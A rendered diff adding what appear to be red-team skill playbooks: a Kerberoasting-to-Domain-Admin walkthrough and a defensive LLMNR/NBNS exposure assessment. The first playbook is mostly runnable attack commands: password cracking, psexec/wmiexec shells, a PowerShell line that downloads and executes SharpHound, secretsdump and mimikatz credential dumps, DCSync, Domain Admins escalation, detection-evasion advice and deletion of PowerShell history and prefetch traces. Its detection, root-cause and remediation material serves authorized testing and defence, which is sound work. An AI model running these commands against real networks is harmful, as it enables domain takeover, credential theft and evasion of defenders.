|
|
264
|
+
- SecLists password lists: `https://github.com/danielmiessler/SecLists/tree/master/Passwords`
|
|
265
|
+
- Hybrid attack: `hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -a 6 ?d?d?d?d`
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
### Step 5: Authenticate as Compromised Service Account
|
|
270
|
+
|
|
271
|
+
**Objective:** Verify the cracked credentials and establish access.
|
|
272
|
+
|
|
273
|
+
**Step 5a — Verify credentials:**
|
|
274
|
+
```bash
|
|
275
|
+
crackmapexec smb 192.168.1.10 -u SQLSvc -p 'SQL2019!' -d CORP.LOCAL
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
**Expected Output:**
|
|
279
|
+
```
|
|
280
|
+
SMB 192.168.1.10 445 DC01 [+] CORP.LOCAL\SQLSvc:SQL2019! (Pwn3d!)
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
`(Pwn3d!)` indicates local admin rights on the target.
|
|
284
|
+
|
|
285
|
+
**Step 5b — Check what systems the account has access to:**
|
|
286
|
+
```bash
|
|
287
|
+
crackmapexec smb 192.168.1.0/24 -u SQLSvc -p 'SQL2019!' -d CORP.LOCAL
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
**Step 5c — Get a shell (if local admin on DC):**
|
|
291
|
+
```bash
|
|
292
|
+
psexec.py CORP.LOCAL/SQLSvc:'SQL2019!'@192.168.1.10
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
**Alternative (WMIexec — lower footprint than PSexec):**
|
|
296
|
+
```bash
|
|
297
|
+
wmiexec.py CORP.LOCAL/SQLSvc:'SQL2019!'@192.168.1.10
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
**Alternative (Evil-WinRM if WinRM is enabled):**
|
|
301
|
+
```bash
|
|
302
|
+
evil-winrm -i 192.168.1.10 -u SQLSvc -p 'SQL2019!'
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
**Fallback:** If direct access is blocked, use the credentials in BloodHound enumeration (Step 6) to find an alternative path.
|
|
306
|
+
|
|
307
|
+
---
|
|
308
|
+
|
|
309
|
+
### Step 6: Run BloodHound to Map Path to Domain Admin
|
|
310
|
+
|
|
311
|
+
**Objective:** Identify the shortest path from the compromised SQLSvc account to Domain Admin.
|
|
312
|
+
|
|
313
|
+
**Step 6a — Collect BloodHound data (run on domain-joined Windows host as SQLSvc):**
|
|
314
|
+
|
|
315
|
+
```powershell
|
|
316
|
+
# Using SharpHound executable
|
|
317
|
+
.\SharpHound.exe -c All --outputdirectory C:\Temp\bh_output
|
|
318
|
+
|
|
319
|
+
# Or using PowerShell module
|
|
320
|
+
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')
|
|
321
|
+
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\bh_output
|
|
322
|
+
```
|
|
323
|
+
|
|
324
|
+
**Step 6b — From Linux using bloodhound-python:**
|
|
325
|
+
```bash
|
|
326
|
+
pip install bloodhound
|
|
327
|
+
bloodhound-python -u SQLSvc -p 'SQL2019!' -d CORP.LOCAL -dc dc01.corp.local -c All -ns 192.168.1.10
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
**Step 6c — Import data into BloodHound:**
|
|
331
|
+
```
|
|
332
|
+
1. Start BloodHound (or BloodHound CE via Docker)
|
|
333
|
+
2. Upload the ZIP file from SharpHound collection
|
|
334
|
+
3. Navigate to: Analysis → Shortest Paths → Shortest Path to Domain Admins
|
|
335
|
+
4. Set start node to: SQLSvc
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
**Key BloodHound queries to run:**
|
|
339
|
+
```cypher
|
|
340
|
+
-- Find shortest path from SQLSvc to Domain Admins
|
|
341
|
+
MATCH p=shortestPath((u:User {name:"SQLSVC@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
|
|
342
|
+
|
|
343
|
+
-- Find all paths (not just shortest)
|
|
344
|
+
MATCH p=(u:User {name:"SQLSVC@CORP.LOCAL"})-[*1..5]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN p
|
|
345
|
+
|
|
346
|
+
-- Check if SQLSvc has local admin rights anywhere
|
|
347
|
+
MATCH (u:User {name:"SQLSVC@CORP.LOCAL"})-[:AdminTo]->(c:Computer) RETURN c.name
|
|
348
|
+
```
|
|
349
|
+
|
|
350
|
+
**Expected Findings:**
|
|
351
|
+
- SQLSvc has `AdminTo` relationship on DC01
|
|
352
|
+
- Or: SQLSvc → `MemberOf` → Group → `AdminTo` → DC01
|
|
353
|
+
- Or: SQLSvc → `GenericAll` / `WriteDACL` → higher-privileged account
|
|
354
|
+
|
|
355
|
+
---
|
|
356
|
+
|
|
357
|
+
### Step 7: Execute Lateral Movement / Privilege Escalation
|
|
358
|
+
|
|
359
|
+
**Scenario A — SQLSvc has direct admin on DC (real-world reference case):**
|
|
360
|
+
|
|
361
|
+
```bash
|
|
362
|
+
# PSexec to DC as SQLSvc
|
|
363
|
+
psexec.py CORP.LOCAL/SQLSvc:'SQL2019!'@dc01.corp.local
|
|
364
|
+
|
|
365
|
+
# Dump domain credentials
|
|
366
|
+
secretsdump.py CORP.LOCAL/SQLSvc:'SQL2019!'@dc01.corp.local
|
|
367
|
+
|
|
368
|
+
# Or once on DC, run mimikatz
|
|
369
|
+
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
|
|
370
|
+
```
|
|
371
|
+
|
|
372
|
+
**Scenario B — SQLSvc has GenericAll/WriteDACL over another account:**
|
|
373
|
+
|
|
374
|
+
```powershell
|
|
375
|
+
# Reset target account's password
|
|
376
|
+
Set-DomainUserPassword -Identity TargetAdmin -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Credential $cred
|
|
377
|
+
|
|
378
|
+
# Or add SQLSvc to Domain Admins directly (if WriteDACL on group)
|
|
379
|
+
Add-DomainGroupMember -Identity "Domain Admins" -Members SQLSvc
|
|
380
|
+
```
|
|
381
|
+
|
|
382
|
+
**Scenario C — SQLSvc can DCSync (if replication rights):**
|
|
383
|
+
|
|
384
|
+
```bash
|
|
385
|
+
secretsdump.py -just-dc CORP.LOCAL/SQLSvc:'SQL2019!'@192.168.1.10
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
**Confirm Domain Admin access:**
|
|
389
|
+
```bash
|
|
390
|
+
crackmapexec smb 192.168.1.10 -u Administrator -H <NTLM_hash_from_dump> --shares
|
|
391
|
+
# or
|
|
392
|
+
wmiexec.py -hashes :<NTLM> CORP.LOCAL/Administrator@192.168.1.10
|
|
393
|
+
```
|
|
394
|
+
|
|
395
|
+
---
|
|
396
|
+
|
|
397
|
+
## Real-World Reference
|
|
398
|
+
|
|
399
|
+
**Scenario:** SQLSvc account at a mid-size organization running SQL Server 2019.
|
|
400
|
+
|
|
401
|
+
1. **Discovery:** Internal network access (post-phish or assumed-breach engagement). Ran `GetUserSPNs.py` and found `SQLSvc` with SPN `MSSQLSvc/sql01.corp.local:1433`. `PasswordLastSet` was 4 years old. Account was a member of `Domain Admins` (misconfiguration — service accounts should never be DA members).
|
|
402
|
+
|
|
403
|
+
2. **Kerberoast:** Requested TGS ticket in ~2 seconds. Hash type was RC4 (etype 23).
|
|
404
|
+
|
|
405
|
+
3. **Crack:** Dictionary attack with `rockyou.txt + best64.rule` cracked the password (`SQL2019!`) in under 3 minutes on a mid-range GPU.
|
|
406
|
+
|
|
407
|
+
4. **Exploitation:** `psexec.py` to the Domain Controller using SQLSvc credentials succeeded immediately. The account had unrestricted shell access on the DC.
|
|
408
|
+
|
|
409
|
+
5. **DA Achieved:** Ran `secretsdump.py` to extract the `krbtgt` hash and all domain account hashes. Created a Golden Ticket for persistence. Full domain compromise from initial access: **47 minutes.**
|
|
410
|
+
|
|
411
|
+
**Root causes:**
|
|
412
|
+
- Service account was member of Domain Admins (unnecessary privilege)
|
|
413
|
+
- Password had not been rotated in 4 years
|
|
414
|
+
- No AES-only enforcement (RC4 still permitted)
|
|
415
|
+
- No detection rule for bulk TGS requests
|
|
416
|
+
|
|
417
|
+
---
|
|
418
|
+
|
|
419
|
+
## MITRE ATT&CK Mapping
|
|
420
|
+
|
|
421
|
+
| Step | Action | Tactic | Technique | Sub-technique |
|
|
422
|
+
|------|--------|--------|-----------|---------------|
|
|
423
|
+
| 1 | Enumerate SPNs via LDAP | Discovery | T1018 Remote System Discovery / T1087 Account Discovery | T1087.002 Domain Account |
|
|
424
|
+
| 2 | Request TGS tickets for SPNs | Credential Access | T1558 Steal or Forge Kerberos Tickets | T1558.003 Kerberoasting |
|
|
425
|
+
| 3 | Save ticket hashes to file | Collection | T1005 Data from Local System | — |
|
|
426
|
+
| 4 | Crack hashes offline with hashcat | Credential Access | T1110 Brute Force | T1110.002 Password Cracking |
|
|
427
|
+
| 5 | Authenticate as SQLSvc | Defense Evasion / Lateral Movement | T1078 Valid Accounts | T1078.002 Domain Accounts |
|
|
428
|
+
| 6 | BloodHound AD enumeration | Discovery | T1482 Domain Trust Discovery / T1069 Permission Groups Discovery | T1069.002 Domain Groups |
|
|
429
|
+
| 7 | PSexec / WMIexec to DC | Lateral Movement | T1021 Remote Services | T1021.002 SMB/Windows Admin Shares |
|
|
430
|
+
| 7 | Secretsdump / credential dump | Credential Access | T1003 OS Credential Dumping | T1003.003 NTDS |
|
|
431
|
+
| 7 | Add account to DA group | Privilege Escalation | T1098 Account Manipulation | — |
|
|
432
|
+
|
|
433
|
+
---
|
|
434
|
+
|
|
435
|
+
## Detection & OPSEC
|
|
436
|
+
|
|
437
|
+
### How This Attack Is Detected
|
|
438
|
+
|
|
439
|
+
**Kerberoasting Detection:**
|
|
440
|
+
- **Event ID 4769** — Kerberos Service Ticket Operations: filter for `Ticket Encryption Type = 0x17` (RC4) for service accounts that normally use AES
|
|
441
|
+
- **Volume anomaly:** Multiple TGS requests for different SPNs in a short window from a single source IP
|
|
442
|
+
- **ATA / Defender for Identity:** Built-in Kerberoasting detection alert (raises when RC4 TGS requested for accounts configured with AES)
|
|
443
|
+
- **SIEM rule:** `EventID=4769 AND TicketEncryptionType=0x17 AND ServiceName != krbtgt` with threshold-based alerting
|
|
444
|
+
|
|
445
|
+
**Lateral Movement Detection:**
|
|
446
|
+
- **Event ID 7045** (Service Install) — PSexec creates a service on the target
|
|
447
|
+
- **Event ID 4624** (Logon Type 3) — Network logon from unexpected source
|
|
448
|
+
- **Event ID 4648** — Explicit credential logon
|
|
449
|
+
- **Sysmon Event ID 1** — Process creation (psexec spawning cmd.exe under SYSTEM)
|
|
450
|
+
|
|
451
|
+
**Credential Dumping Detection:**
|
|
452
|
+
- **Event ID 4662** — Object access on AD objects with replication rights (DCSync)
|
|
453
|
+
- **Defender for Identity:** DCSync alert triggers on non-DC accounts requesting replication
|
|
454
|
+
|
|
455
|
+
### How to Reduce Detection Risk (Authorized Engagements)
|
|
456
|
+
|
|
457
|
+
- **Target specific accounts** rather than requesting tickets for all SPNs at once — reduces volume anomaly
|
|
458
|
+
- **Use AES tickets** where possible (less anomalous than RC4 downgrade)
|
|
459
|
+
- **Stagger requests** over time (minutes apart) if stealth is a requirement
|
|
460
|
+
- **Avoid PSexec** — use WMIexec or Evil-WinRM instead (less noisy, no service install)
|
|
461
|
+
- **Use legitimate admin tools** (WMIC, PowerShell remoting) if they are already in use in the environment
|
|
462
|
+
- **BloodHound collection:** Use `--stealth` flag in SharpHound to reduce LDAP query volume; run during business hours to blend in
|
|
463
|
+
|
|
464
|
+
```powershell
|
|
465
|
+
# Stealth SharpHound collection
|
|
466
|
+
.\SharpHound.exe -c DCOnly --stealth --outputdirectory C:\Temp\
|
|
467
|
+
```
|
|
468
|
+
|
|
469
|
+
### Artifacts Left Behind
|
|
470
|
+
|
|
471
|
+
| Artifact | Location | Notes |
|
|
472
|
+
|----------|----------|-------|
|
|
473
|
+
| SharpHound ZIP output | C:\Temp\ (or specified path) | Delete after collection |
|
|
474
|
+
| SharpHound binary | Wherever dropped | Delete after use |
|
|
475
|
+
| PSexec service | Target's Services (PSEXESVC) | Removed on exit but check SCM |
|
|
476
|
+
| Event logs | DC and target system Security log | Entries for 4769, 4624, 7045 |
|
|
477
|
+
| Prefetch files | C:\Windows\Prefetch\ | Execution traces for dropped binaries |
|
|
478
|
+
| PowerShell history | %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Clear or avoid |
|
|
479
|
+
| Network captures | Potentially captured by IDS/NDR | Kerberos traffic is visible on the wire |
|
|
480
|
+
|
|
481
|
+
---
|
|
482
|
+
|
|
483
|
+
## Cleanup
|
|
484
|
+
|
|
485
|
+
Complete these steps after the authorized engagement to restore the environment.
|
|
486
|
+
|
|
487
|
+
### 1. Remove Dropped Files
|
|
488
|
+
|
|
489
|
+
```powershell
|
|
490
|
+
# On target systems — remove all dropped tools
|
|
491
|
+
Remove-Item -Path "C:\Temp\SharpHound.exe" -Force
|
|
492
|
+
Remove-Item -Path "C:\Temp\Rubeus.exe" -Force
|
|
493
|
+
Remove-Item -Path "C:\Temp\mimikatz.exe" -Force
|
|
494
|
+
Remove-Item -Path "C:\Temp\*.zip" -Force # BloodHound output files
|
|
495
|
+
Remove-Item -Path "C:\Temp\bh_output\" -Recurse -Force
|
|
496
|
+
```
|
|
497
|
+
|
|
498
|
+
### 2. Clear PowerShell History
|
|
499
|
+
|
|
500
|
+
```powershell
|
|
501
|
+
# On each compromised host
|
|
502
|
+
Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force
|
|
503
|
+
Clear-History
|
|
504
|
+
```
|
|
505
|
+
|
|
506
|
+
### 3. Remove Prefetch Traces
|
|
507
|
+
|
|
508
|
+
```powershell
|
|
509
|
+
# Requires admin — remove prefetch for dropped tools
|
|
510
|
+
Remove-Item "C:\Windows\Prefetch\SHARPHOUND*" -Force
|
|
511
|
+
Remove-Item "C:\Windows\Prefetch\RUBEUS*" -Force
|
|
512
|
+
Remove-Item "C:\Windows\Prefetch\MIMIKATZ*" -Force
|
|
513
|
+
```
|
|
514
|
+
|
|
515
|
+
### 4. Verify PSexec Service Removed
|
|
516
|
+
|
|
517
|
+
```powershell
|
|
518
|
+
# Check if PSEXESVC remains on target
|
|
519
|
+
Get-Service -Name PSEXESVC -ErrorAction SilentlyContinue
|
|
520
|
+
# If present:
|
|
521
|
+
Stop-Service PSEXESVC -Force
|
|
522
|
+
sc.exe delete PSEXESVC
|
|
523
|
+
```
|
|
524
|
+
|
|
525
|
+
### 5. Revert Any AD Changes Made
|
|
526
|
+
|
|
527
|
+
```powershell
|
|
528
|
+
# If you added any accounts to groups, remove them
|
|
529
|
+
Remove-DomainGroupMember -Identity "Domain Admins" -Members <added_account>
|
|
530
|
+
|
|
531
|
+
# If you reset any passwords, restore original (coordinate with client)
|
|
532
|
+
# If you created any accounts, delete them
|
|
533
|
+
Remove-ADUser -Identity <test_account> -Confirm:$false
|
|
534
|
+
```
|
|
535
|
+
|
|
536
|
+
### 6. Document Artifacts for Client Report
|
|
537
|
+
|
|
538
|
+
Before cleanup, document:
|
|
539
|
+
- Event IDs generated (for detection validation report)
|
|
540
|
+
- Systems accessed and timestamps
|
|
541
|
+
- Credentials obtained (for inclusion in findings report — do not transmit insecurely)
|
|
542
|
+
- BloodHound paths identified
|
|
543
|
+
|
|
544
|
+
---
|
|
545
|
+
|
|
546
|
+
## References
|
|
547
|
+
|
|
548
|
+
### Tools
|
|
549
|
+
- **Impacket** — https://github.com/fortra/impacket (GetUserSPNs.py, psexec.py, secretsdump.py, wmiexec.py)
|
|
550
|
+
- **Rubeus** — https://github.com/GhostPack/Rubeus (Windows-native Kerberoasting)
|
|
551
|
+
- **BloodHound** — https://github.com/BloodHoundAD/BloodHound
|
|
552
|
+
- **BloodHound CE** — https://github.com/SpecterOps/BloodHound
|
|
553
|
+
- **SharpHound** — https://github.com/BloodHoundAD/SharpHound
|
|
554
|
+
- **bloodhound-python** — https://github.com/dirkjanm/BloodHound.py
|
|
555
|
+
- **PowerView** — https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
|
|
556
|
+
- **Hashcat** — https://hashcat.net/hashcat/
|
|
557
|
+
- **CrackMapExec** — https://github.com/byt3bl33d3r/CrackMapExec
|
|
558
|
+
- **Evil-WinRM** — https://github.com/Hackplayers/evil-winrm
|
|
559
|
+
|
|
560
|
+
### Password Lists
|
|
561
|
+
- **rockyou.txt** — Pre-installed on Kali; https://github.com/brannondorsey/naive-hashcat/releases
|
|
562
|
+
- **SecLists** — https://github.com/danielmiessler/SecLists/tree/master/Passwords
|
|
563
|
+
|
|
564
|
+
### MITRE ATT&CK References
|
|
565
|
+
- **T1558.003 Kerberoasting** — https://attack.mitre.org/techniques/T1558/003/
|
|
566
|
+
- **T1110.002 Password Cracking** — https://attack.mitre.org/techniques/T1110/002/
|
|
567
|
+
- **T1078.002 Domain Accounts** — https://attack.mitre.org/techniques/T1078/002/
|
|
568
|
+
|
|
569
|
+
### Further Reading
|
|
570
|
+
- **The Kerberoasting Attack** (SpecterOps) — https://posts.specteropsio/kerberoasting-revisited-d434351bd4d1
|
|
571
|
+
- **Detecting Kerberoasting** (Microsoft) — https://docs.microsoft.com/en-us/azure/defender-for-identity/alerts-overview
|
|
572
|
+
- **Managed Service Accounts** (Microsoft) — https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/
|
|
573
|
+
- **Hashcat example hashes** — https://hashcat.net/wiki/doku.php?id=example_hashes
|
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-n002
|
|
3
|
+
description: "N-002: LLMNR/NBNS exposure assessment leading to credential-risk and lateral-movement impact analysis. Domain: network. Authorized internal scenario focused on detection, control validation, and remediation."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# N-002: LLMNR/NBNS Credential Exposure Risk
|
|
7
|
+
|
|
8
|
+
> Execute only on explicitly approved internal network segments. Do not collect, crack, or reuse real user credentials unless the SEAD specifically authorizes credential testing and defines handling rules.
|
|
9
|
+
|
|
10
|
+
## Overview
|
|
11
|
+
|
|
12
|
+
LLMNR, NBNS, and related legacy name-resolution behavior can cause clients to disclose authentication material to untrusted responders on the same network. This scenario evaluates whether the environment is vulnerable, how far the risk could extend, and which controls would break the chain.
|
|
13
|
+
|
|
14
|
+
| Field | Value |
|
|
15
|
+
|---|---|
|
|
16
|
+
| Domain | Network / Active Directory |
|
|
17
|
+
| Objective | Validate legacy name-resolution credential exposure risk |
|
|
18
|
+
| Required Access | Internal network presence |
|
|
19
|
+
| Detection Risk | Medium |
|
|
20
|
+
| Primary Impact | Credential exposure and possible lateral movement |
|
|
21
|
+
|
|
22
|
+
## Prerequisites
|
|
23
|
+
|
|
24
|
+
- Internal VLAN/subnet explicitly in scope.
|
|
25
|
+
- SOC/NOC notification completed if required.
|
|
26
|
+
- Credential handling rules defined.
|
|
27
|
+
- Test workstation or controlled lab user available.
|
|
28
|
+
- No production password cracking unless explicitly approved.
|
|
29
|
+
|
|
30
|
+
## Attack Chain Model
|
|
31
|
+
|
|
32
|
+
1. Attacker gains internal network position.
|
|
33
|
+
2. Clients attempt legacy name resolution.
|
|
34
|
+
3. Authentication material may be exposed to an untrusted responder.
|
|
35
|
+
4. Exposed credentials may enable access to additional hosts.
|
|
36
|
+
5. Lateral access may expose sensitive shares or admin interfaces.
|
|
37
|
+
|
|
38
|
+
## Safe Validation Workflow
|
|
39
|
+
|
|
40
|
+
### Step 1 - Confirm Protocol Posture
|
|
41
|
+
|
|
42
|
+
Review GPOs, endpoint configuration, and network monitoring for:
|
|
43
|
+
|
|
44
|
+
- LLMNR enabled/disabled.
|
|
45
|
+
- NetBIOS over TCP/IP enabled/disabled.
|
|
46
|
+
- mDNS exposure.
|
|
47
|
+
- SMB signing requirement.
|
|
48
|
+
- Local admin password uniqueness.
|
|
49
|
+
|
|
50
|
+
### Step 2 - Passive Observation
|
|
51
|
+
|
|
52
|
+
Where approved, observe whether clients emit legacy name-resolution requests. Record only metadata needed for proof:
|
|
53
|
+
|
|
54
|
+
- Timestamp.
|
|
55
|
+
- Segment.
|
|
56
|
+
- Protocol.
|
|
57
|
+
- Query name.
|
|
58
|
+
- Test host identifier.
|
|
59
|
+
|
|
60
|
+
### Step 3 - Controlled Test
|
|
61
|
+
|
|
62
|
+
Use a client-approved test machine or lab account to trigger a harmless name-resolution event and confirm whether the network would allow spoofed responses.
|
|
63
|
+
|
|
64
|
+
### Step 4 - Impact Modeling
|
|
65
|
+
|
|
66
|
+
Do not use real credentials by default. Model impact from:
|
|
67
|
+
|
|
68
|
+
- Password policy.
|
|
69
|
+
- Local admin reuse.
|
|
70
|
+
- SMB signing posture.
|
|
71
|
+
- EDR/SOC detection.
|
|
72
|
+
- Network segmentation.
|
|
73
|
+
|
|
74
|
+
## MITRE ATT&CK Mapping
|
|
75
|
+
|
|
76
|
+
| Phase | Tactic | Technique |
|
|
77
|
+
|---|---|---|
|
|
78
|
+
| Exposure | Credential Access | Adversary-in-the-Middle |
|
|
79
|
+
| Credential Use | Credential Access | Password Cracking |
|
|
80
|
+
| Movement | Lateral Movement | Valid Accounts |
|
|
81
|
+
|
|
82
|
+
## Evidence
|
|
83
|
+
|
|
84
|
+
Capture:
|
|
85
|
+
|
|
86
|
+
- GPO/configuration screenshots.
|
|
87
|
+
- Passive protocol observations.
|
|
88
|
+
- Test host proof.
|
|
89
|
+
- Detection or alert evidence if generated.
|
|
90
|
+
|
|
91
|
+
## Detection
|
|
92
|
+
|
|
93
|
+
- Legacy name-resolution requests from endpoints.
|
|
94
|
+
- Suspicious responder behavior.
|
|
95
|
+
- SMB authentication to unusual hosts.
|
|
96
|
+
- Authentication failures after capture attempts.
|
|
97
|
+
|
|
98
|
+
## Remediation
|
|
99
|
+
|
|
100
|
+
- Disable LLMNR and NetBIOS where possible.
|
|
101
|
+
- Require SMB signing.
|
|
102
|
+
- Deploy Windows LAPS or equivalent.
|
|
103
|
+
- Enforce strong password policy.
|
|
104
|
+
- Segment user networks.
|
|
105
|
+
- Alert on name-resolution poisoning patterns.
|
|
106
|
+
|
|
107
|
+
## Autodoc
|
|
108
|
+
|
|
109
|
+
```bash
|
|
110
|
+
python _rtexit/scripts/autodoc_engine.py log --skill rt-scenario-n002 --phase exploitation --cmd "LLMNR/NBNS posture validation" --output "legacy name resolution risk summary"
|
|
111
|
+
```
|
|
112
|
+
|